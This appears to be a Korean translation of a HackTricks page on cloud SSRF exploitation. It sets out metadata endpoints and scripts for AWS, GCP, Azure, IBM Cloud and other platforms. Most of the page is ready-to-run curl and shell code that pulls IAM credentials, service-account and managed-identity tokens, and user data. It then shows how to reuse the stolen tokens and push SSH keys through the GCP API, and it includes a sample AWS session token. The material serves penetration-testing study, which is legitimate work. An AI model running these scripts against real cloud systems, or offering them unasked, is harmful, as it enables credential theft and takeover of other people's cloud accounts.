Cloud SSRF
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
AWS
AWS EC2 환경에서 SSRF 악용하기
메타데이터 엔드포인트는 모든 EC2 머신 내부에서 접근할 수 있으며, 이에 대한 흥미로운 정보를 제공합니다. URL에서 접근할 수 있습니다: http://169.254.169.254
(메타데이터에 대한 정보는 여기).
메타데이터 엔드포인트에는 2가지 버전이 있습니다. 첫 번째 버전은 GET 요청을 통해 엔드포인트에 접근할 수 있게 해줍니다 (따라서 어떤 SSRF도 이를 악용할 수 있습니다). 버전 2인 IMDSv2에서는 토큰을 요청하기 위해 PUT 요청을 보내고 HTTP 헤더를 사용해야 하며, 그 후에 해당 토큰을 사용하여 다른 HTTP 헤더로 메타데이터에 접근해야 합니다 (따라서 SSRF로 악용하기 더 복잡합니다).
caution
EC2 인스턴스가 IMDSv2를 강제하는 경우, 문서에 따르면, PUT 요청의 응답은 hop limit이 1로 설정되어 있어 EC2 인스턴스 내부의 컨테이너에서 EC2 메타데이터에 접근할 수 없게 됩니다.
또한, IMDSv2는 X-Forwarded-For
헤더를 포함한 토큰 요청을 차단합니다. 이는 잘못 구성된 리버스 프록시가 이를 접근하지 못하도록 방지하기 위함입니다.
메타데이터 엔드포인트에 대한 정보는 문서에서 확인할 수 있습니다. 다음 스크립트에서는 이로부터 흥미로운 정보를 얻습니다:
EC2_TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null)
HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN"
URL="http://169.254.169.254/latest/meta-data"
aws_req=""
if [ "$(command -v curl)" ]; then
aws_req="curl -s -f -H '$HEADER'"
elif [ "$(command -v wget)" ]; then
aws_req="wget -q -O - -H '$HEADER'"
else
echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
fi
printf "ami-id: "; eval $aws_req "$URL/ami-id"; echo ""
printf "instance-action: "; eval $aws_req "$URL/instance-action"; echo ""
printf "instance-id: "; eval $aws_req "$URL/instance-id"; echo ""
printf "instance-life-cycle: "; eval $aws_req "$URL/instance-life-cycle"; echo ""
printf "instance-type: "; eval $aws_req "$URL/instance-type"; echo ""
printf "region: "; eval $aws_req "$URL/placement/region"; echo ""
echo ""
echo "Account Info"
eval $aws_req "$URL/identity-credentials/ec2/info"; echo ""
eval $aws_req "http://169.254.169.254/latest/dynamic/instance-identity/document"; echo ""
echo ""
echo "Network Info"
for mac in $(eval $aws_req "$URL/network/interfaces/macs/" 2>/dev/null); do
echo "Mac: $mac"
printf "Owner ID: "; eval $aws_req "$URL/network/interfaces/macs/$mac/owner-id"; echo ""
printf "Public Hostname: "; eval $aws_req "$URL/network/interfaces/macs/$mac/public-hostname"; echo ""
printf "Security Groups: "; eval $aws_req "$URL/network/interfaces/macs/$mac/security-groups"; echo ""
echo "Private IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv4-associations/"; echo ""
printf "Subnet IPv4: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv4-cidr-block"; echo ""
echo "PrivateIPv6s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv6s"; echo ""
printf "Subnet IPv6: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv6-cidr-blocks"; echo ""
echo "Public IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/public-ipv4s"; echo ""
echo ""
done
echo ""
echo "IAM Role"
eval $aws_req "$URL/iam/info"
for role in $(eval $aws_req "$URL/iam/security-credentials/" 2>/dev/null); do
echo "Role: $role"
eval $aws_req "$URL/iam/security-credentials/$role"; echo ""
echo ""
done
echo ""
echo "User Data"
# Search hardcoded credentials
eval $aws_req "http://169.254.169.254/latest/user-data"
echo ""
echo "EC2 Security Credentials"
eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance"; echo ""
공개적으로 사용 가능한 IAM 자격 증명 노출 예시로 다음을 방문할 수 있습니다: http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws
또한 공개 EC2 보안 자격 증명을 확인할 수 있습니다: http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance
그런 다음 이 자격 증명을 사용하여 AWS CLI와 함께 사용할 수 있습니다. 이렇게 하면 해당 역할이 허용된 모든 작업을 수행할 수 있습니다.
새로운 자격 증명을 활용하려면 다음과 같이 새로운 AWS 프로필을 생성해야 합니다:
[profilename]
aws_access_key_id = ASIA6GG71[...]
aws_secret_access_key = a5kssI2I4H/atUZOwBr5Vpggd9CxiT[...]
aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4FsgtWaIikf5mSSoMIWsUGMb1AiEAlOiY0zQ31XapsIjJwgEXhBIW3u/XOfZJTrvdNe4rbFwq2gMIYBAAGgw5NzU0MjYyNjIwMjkiDCvj4qbZSIiiBUtrIiq3A8IfXmTcebRDxJ9BGjNwLbOYDlbQYXBIegzliUez3P/fQxD3qDr+SNFg9w6WkgmDZtjei6YzOc/a9TWgIzCPQAWkn6BlXufS+zm4aVtcgvBKyu4F432AuT4Wuq7zrRc+42m3Z9InIM0BuJtzLkzzbBPfZAz81eSXumPdid6G/4v+o/VxI3OrayZVT2+fB34cKujEOnBwgEd6xUGUcFWb52+jlIbs8RzVIK/xHVoZvYpY6KlmLOakx/mOyz1tb0Z204NZPJ7rj9mHk+cX/G0BnYGIf8ZA2pyBdQyVbb1EzV0U+IPlI+nkIgYCrwTCXUOYbm66lj90frIYG0x2qI7HtaKKbRM5pcGkiYkUAUvA3LpUW6LVn365h0uIbYbVJqSAtjxUN9o0hbQD/W9Y6ZM0WoLSQhYt4jzZiWi00owZJjKHbBaQV6RFwn5mCD+OybS8Y1dn2lqqJgY2U78sONvhfewiohPNouW9IQ7nPln3G/dkucQARa/eM/AC1zxLu5nt7QY8R2x9FzmKYGLh6sBoNO1HXGzSQlDdQE17clcP+hrP/m49MW3nq/A7WHIczuzpn4zv3KICLPIw2uSc7QU6tAEln14bV0oHtHxqC6LBnfhx8yaD9C71j8XbDrfXOEwdOy2hdK0M/AJ3CVe/mtxf96Z6UpqVLPrsLrb1TYTEWCH7yleN0i9koRQDRnjntvRuLmH2ERWLtJFgRU2MWqDNCf2QHWn+j9tYNKQVVwHs3i8paEPyB45MLdFKJg6Ir+Xzl2ojb6qLGirjw8gPufeCM19VbpeLPliYeKsrkrnXWO0o9aImv8cvIzQ8aS1ihqOtkedkAsw=
aws_session_token에 주목하세요. 이는 프로필이 작동하는 데 필수적입니다.
PACU는 발견된 자격 증명을 사용하여 권한을 확인하고 권한 상승을 시도하는 데 사용할 수 있습니다.
AWS ECS (컨테이너 서비스) 자격 증명에서의 SSRF
ECS는 애플리케이션을 실행할 수 있는 EC2 인스턴스의 논리적 그룹으로, ECS가 클러스터 관리 인프라를 대신 관리하기 때문에 자체 클러스터 관리 인프라를 확장할 필요가 없습니다. ECS에서 실행 중인 서비스를 손상시키면 메타데이터 엔드포인트가 변경됩니다.
_http://169.254.170.2/v2/credentials/<GUID>_에 접근하면 ECS 머신의 자격 증명을 찾을 수 있습니다. 하지만 먼저 **<GUID>**를 찾아야 합니다. <GUID>를 찾으려면 머신 내의 environ 변수 AWS_CONTAINER_CREDENTIALS_RELATIVE_URI를 읽어야 합니다.
Path Traversal을 이용하여 file:///proc/self/environ
을 읽을 수 있습니다.
언급된 http 주소는 AccessKey, SecretKey 및 token을 제공해야 합니다.
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O -
tip
일부 경우에는 컨테이너에서 EC2 메타데이터 인스턴스에 접근할 수 있습니다(앞서 언급한 IMDSv2 TTL 제한 사항을 확인하세요). 이러한 시나리오에서는 컨테이너에서 컨테이너 IAM 역할과 EC2 IAM 역할 모두에 접근할 수 있습니다.
AWS Lambda에 대한 SSRF
이 경우 자격 증명은 env 변수에 저장됩니다. 따라서 이를 접근하려면 **file:///proc/self/environ
**과 같은 것을 접근해야 합니다.
흥미로운 env 변수의 이름은 다음과 같습니다:
AWS_SESSION_TOKEN
AWS_SECRET_ACCESS_KEY
AWS_ACCES_KEY_ID
게다가 IAM 자격 증명 외에도 Lambda 함수는 함수가 시작될 때 함수에 전달되는 이벤트 데이터를 가지고 있습니다. 이 데이터는 런타임 인터페이스를 통해 함수에 제공되며 민감한 정보(예: stageVariables 내부)를 포함할 수 있습니다. IAM 자격 증명과 달리, 이 데이터는 표준 SSRF를 통해 **http://localhost:9001/2018-06-01/runtime/invocation/next
**에서 접근할 수 있습니다.
warning
lambda 자격 증명이 env 변수 안에 있다는 점에 유의하세요. 따라서 lambda 코드의 스택 추적이 env 변수를 출력하면, 앱에서 오류를 유발하여 이를 유출할 수 있습니다.
AWS Elastic Beanstalk에 대한 SSRF URL
API에서 accountId
와 region
을 가져옵니다.
http://169.254.169.254/latest/dynamic/instance-identity/document
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
그런 다음 API에서 AccessKeyId
, SecretAccessKey
및 Token
을 가져옵니다.
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
그런 다음 aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/
명령어로 자격 증명을 사용합니다.
GCP
메타데이터 엔드포인트에 대한 문서를 여기에서 찾을 수 있습니다.
Google Cloud의 SSRF URL
HTTP 헤더 **Metadata-Flavor: Google
**이 필요하며, 다음 URL을 통해 메타데이터 엔드포인트에 접근할 수 있습니다:
정보를 추출하기 위한 흥미로운 엔드포인트:
# /project
# Project name and number
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id
# Project attributes
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/attributes/?recursive=true
# /oslogin
# users
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/users
# groups
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/groups
# security-keys
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/security-keys
# authorize
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/authorize
# /instance
# Description
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/description
# Hostname
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/hostname
# ID
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id
# Image
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/image
# Machine Type
curl -s -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/machine-type
# Name
curl -s -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/name
# Tags
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/scheduling/tags
# Zone
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/zone
# User data
curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/attributes/startup-script"
# Network Interfaces
for iface in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/"); do
echo " IP: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/ip")
echo " Subnetmask: "$(curl -s -f -H "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/subnetmask")
echo " Gateway: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/gateway")
echo " DNS: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/dns-servers")
echo " Network: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/network")
echo " ============== "
done
# Service Accounts
for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do
echo " Name: $sa"
echo " Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email")
echo " Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases")
echo " Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity")
echo " Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes")
echo " Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token")
echo " ============== "
done
# K8s Attributtes
## Cluster location
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/cluster-location
## Cluster name
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/cluster-name
## Os-login enabled
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/enable-oslogin
## Kube-env
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kube-env
## Kube-labels
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kube-labels
## Kubeconfig
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kubeconfig
# All custom project attributes
curl "http://metadata.google.internal/computeMetadata/v1/project/attributes/?recursive=true&alt=text" \
-H "Metadata-Flavor: Google"
# All custom project attributes instance attributes
curl "http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true&alt=text" \
-H "Metadata-Flavor: Google"
Beta는 현재 헤더를 필요로 하지 않습니다 (Mathias Karlsson @avlidienbrunn에게 감사드립니다)
http://metadata.google.internal/computeMetadata/v1beta1/
http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true
caution
유출된 서비스 계정 토큰을 사용하려면 다음과 같이 하면 됩니다:
# 환경 변수를 통해
export CLOUDSDK_AUTH_ACCESS_TOKEN=<token>
gcloud projects list
# 설정을 통해
echo "<token>" > /some/path/to/token
gcloud config set auth/access_token_file /some/path/to/token
gcloud projects list
gcloud config unset auth/access_token_file
SSH 키 추가
토큰 추출
http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json
토큰의 범위를 확인하세요 (이전 출력 또는 다음을 실행하여).
curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA {
"issued_to": "101302079XXXXX",
"audience": "10130207XXXXX",
"scope": "https://www.googleapis.com/auth/compute https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/monitoring",
"expires_in": 2443,
"access_type": "offline"
}
이제 SSH 키를 푸시하세요.
curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCommonInstanceMetadata"
-H "Authorization: Bearer ya29.c.EmKeBq9XI09_1HK1XXXXXXXXT0rJSA"
-H "Content-Type: application/json"
--data '{"items": [{"key": "sshkeyname", "value": "sshkeyvalue"}]}'
Cloud Functions
메타데이터 엔드포인트는 VM에서와 동일하게 작동하지만 일부 엔드포인트가 없습니다:
# /project
# Project name and number
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id
# /instance
# ID
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id
# Zone
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/zone
# Auto MTLS config
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/platform-security/auto-mtls-configuration
# Service Accounts
for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do
echo " Name: $sa"
echo " Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email")
echo " Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases")
echo " Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity")
echo " Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes")
echo " Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token")
echo " ============== "
done
Digital Ocean
warning
AWS 역할이나 GCP 서비스 계정과 같은 것이 없으므로 메타데이터 봇 자격 증명을 찾을 수 있을 것이라고 기대하지 마십시오.
Documentation available at https://developers.digitalocean.com/documentation/metadata/
curl http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1.json
http://169.254.169.254/metadata/v1/
http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1/user-data
http://169.254.169.254/metadata/v1/hostname
http://169.254.169.254/metadata/v1/region
http://169.254.169.254/metadata/v1/interfaces/public/0/ipv6/addressAll in one request:
curl http://169.254.169.254/metadata/v1.json | jq
Azure
Azure VM
- 반드시
Metadata: true
헤더를 포함해야 합니다. X-Forwarded-For
헤더를 포함하지 않아야 합니다.
tip
Azure VM은 1개의 시스템 관리 ID와 여러 개의 사용자 관리 ID를 가질 수 있습니다. 이는 기본적으로 VM에 연결된 모든 관리 ID를 가장할 수 있다는 의미입니다.
메타데이터 엔드포인트에 대한 액세스 토큰을 요청할 때, 기본적으로 메타데이터 서비스는 시스템 할당 관리 ID를 사용하여 토큰을 생성합니다. 시스템 할당 관리 ID가 있는 경우에 해당합니다. 만약 하나의 사용자 할당 관리 ID만 있다면, 기본적으로 이것이 사용됩니다. 그러나 시스템 할당 관리 ID가 없고 여러 개의 사용자 할당 관리 ID가 있는 경우, 메타데이터 서비스는 여러 관리 ID가 있음을 나타내는 오류를 반환하며, 어떤 것을 사용할지 지정해야 합니다.
불행히도 VM에 연결된 모든 관리 ID를 나타내는 메타데이터 엔드포인트를 찾을 수 없었으므로, Red Team 관점에서 VM에 할당된 모든 관리 ID를 찾는 것은 어려운 작업이 될 수 있습니다.
따라서 연결된 모든 관리 ID를 찾기 위해 다음을 수행할 수 있습니다:
- az cli로 연결된 ID 가져오기 (Azure 테넌트에서 주체를 이미 손상시킨 경우)
az vm identity show \
--resource-group <rsc-group> \
--name <vm-name>
- 메타데이터에서 기본 연결 MI를 사용하여 연결된 ID 가져오기:
export API_VERSION="2021-12-13"
# 기본 MI에서 토큰 가져오기
export TOKEN=$(curl -s -H "Metadata:true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/" \
| jq -r '.access_token')
# 필요한 세부정보 가져오기
export SUBSCRIPTION_ID=$(curl -s -H "Metadata:true" \
"http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.subscriptionId')
export RESOURCE_GROUP=$(curl -s -H "Metadata:true" \
"http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.resourceGroupName')
export VM_NAME=$(curl -s -H "Metadata:true" \
"http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.name')
# 연결된 MIs 가져오기 시도
curl -s -H "Authorization: Bearer $TOKEN" \
"https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Compute/virtualMachines/$VM_NAME?api-version=$API_VERSION" | jq
- 테넌트에 정의된 모든 관리 ID를 가져오고 VM에 연결된 것이 있는지 브루트 포스로 확인하기:
az identity list
caution
토큰 요청 시 object_id
, client_id
또는 msi_res_id
중 하나의 매개변수를 사용하여 사용하려는 관리 ID를 지정하십시오 (docs). 지정하지 않으면 기본 MI가 사용됩니다.
HEADER="Metadata:true"
URL="http://169.254.169.254/metadata"
API_VERSION="2021-12-13" #https://learn.microsoft.com/en-us/azure/virtual-machines/instance-metadata-service?tabs=linux#supported-api-versions
echo "Instance details"
curl -s -f -H "$HEADER" "$URL/instance?api-version=$API_VERSION"
echo "Load Balancer details"
curl -s -f -H "$HEADER" "$URL/loadbalancer?api-version=$API_VERSION"
echo "Management Token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/"
echo "Graph token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://graph.microsoft.com/"
echo "Vault token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://vault.azure.net/"
echo "Storage token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://storage.azure.com/"
warning
http://169.254.169.254/metadata/v1/instanceinfo
엔드포인트는 Metadata: True
헤더를 요구하지 않습니다. 이는 Azure에서 이 헤더를 추가할 수 없는 SSRF 취약점의 영향을 보여주는 데 유용합니다.
Azure 앱 및 함수 서비스 및 자동화 계정
env에서 IDENTITY_HEADER
및 **IDENTITY_ENDPOINT
**의 값을 가져올 수 있습니다. 이를 사용하여 메타데이터 서버와 통신할 토큰을 수집할 수 있습니다.
대부분의 경우, 다음 리소스 중 하나에 대한 토큰이 필요합니다:
- https://storage.azure.com
- https://vault.azure.net
- https://graph.microsoft.com
- https://management.azure.com
caution
토큰 요청 시 object_id
, client_id
또는 msi_res_id
매개변수 중 하나를 사용하여 사용하려는 관리 ID를 지정하십시오 (docs). 지정하지 않으면 기본 MI가 사용됩니다.
# Check for those env vars to know if you are in an Azure app
echo $IDENTITY_HEADER
echo $IDENTITY_ENDPOINT
# (Fingerprint) You should also be able to find the folder:
ls /opt/microsoft
# Get management token
curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER"
# Get graph token
curl "$IDENTITY_ENDPOINT?resource=https://graph.microsoft.com/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER"
# Get vault token
curl "$IDENTITY_ENDPOINT?resource=https://vault.azure.net/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER"
# Get storage token
curl "$IDENTITY_ENDPOINT?resource=https://storage.azure.com/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER"
IBM Cloud
warning
IBM에서는 기본적으로 메타데이터가 활성화되어 있지 않으므로, IBM 클라우드 VM 내에 있더라도 접근할 수 없을 수 있습니다.
export instance_identity_token=`curl -s -X PUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01"\
-H "Metadata-Flavor: ibm"\
-H "Accept: application/json"\
-d '{
"expires_in": 3600
}' | jq -r '(.access_token)'`
# Get instance details
curl -s -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" -X GET "http://169.254.169.254/metadata/v1/instance?version=2022-03-01" | jq
# Get SSH keys info
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/keys?version=2022-03-01" | jq
# Get SSH keys fingerprints & user data
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/instance/initialization?version=2022-03-01" | jq
# Get placement groups
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/placement_groups?version=2022-03-01" | jq
# Get IAM credentials
curl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01" | jq
다양한 플랫폼의 메타데이터 서비스에 대한 문서가 아래에 설명되어 있으며, 인스턴스의 구성 및 런타임 정보를 접근할 수 있는 방법을 강조합니다. 각 플랫폼은 고유한 엔드포인트를 제공하여 메타데이터 서비스에 접근할 수 있습니다.
Packetcloud
Packetcloud의 메타데이터에 접근하기 위한 문서는 다음에서 찾을 수 있습니다: https://metadata.packet.net/userdata
OpenStack/RackSpace
헤더의 필요성은 언급되지 않았습니다. 메타데이터는 다음을 통해 접근할 수 있습니다:
http://169.254.169.254/openstack
HP Helion
여기에서도 헤더의 필요성은 언급되지 않았습니다. 메타데이터는 다음에서 접근할 수 있습니다:
http://169.254.169.254/2009-04-04/meta-data/
Oracle Cloud
Oracle Cloud는 다양한 메타데이터 측면에 접근하기 위한 일련의 엔드포인트를 제공합니다:
http://192.0.0.192/latest/
http://192.0.0.192/latest/user-data/
http://192.0.0.192/latest/meta-data/
http://192.0.0.192/latest/attributes/
Alibaba
Alibaba는 인스턴스 및 이미지 ID를 포함한 메타데이터에 접근하기 위한 엔드포인트를 제공합니다:
http://100.100.100.200/latest/meta-data/
http://100.100.100.200/latest/meta-data/instance-id
http://100.100.100.200/latest/meta-data/image-id
Kubernetes ETCD
Kubernetes ETCD는 API 키, 내부 IP 주소 및 포트를 보유할 수 있습니다. 접근 방법은 다음과 같습니다:
curl -L http://127.0.0.1:2379/version
curl http://127.0.0.1:2379/v2/keys/?recursive=true
Docker
Docker 메타데이터는 로컬에서 접근할 수 있으며, 컨테이너 및 이미지 정보 검색을 위한 예제가 제공됩니다:
- Docker 소켓을 통해 컨테이너 및 이미지 메타데이터에 접근하는 간단한 예:
docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash
- 컨테이너 내부에서 Docker 소켓을 사용하여 curl을 사용합니다:
curl --unix-socket /var/run/docker.sock http://foo/containers/json
curl --unix-socket /var/run/docker.sock http://foo/images/json
Rancher
Rancher의 메타데이터는 다음을 사용하여 접근할 수 있습니다:
curl http://rancher-metadata/<version>/<path>
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.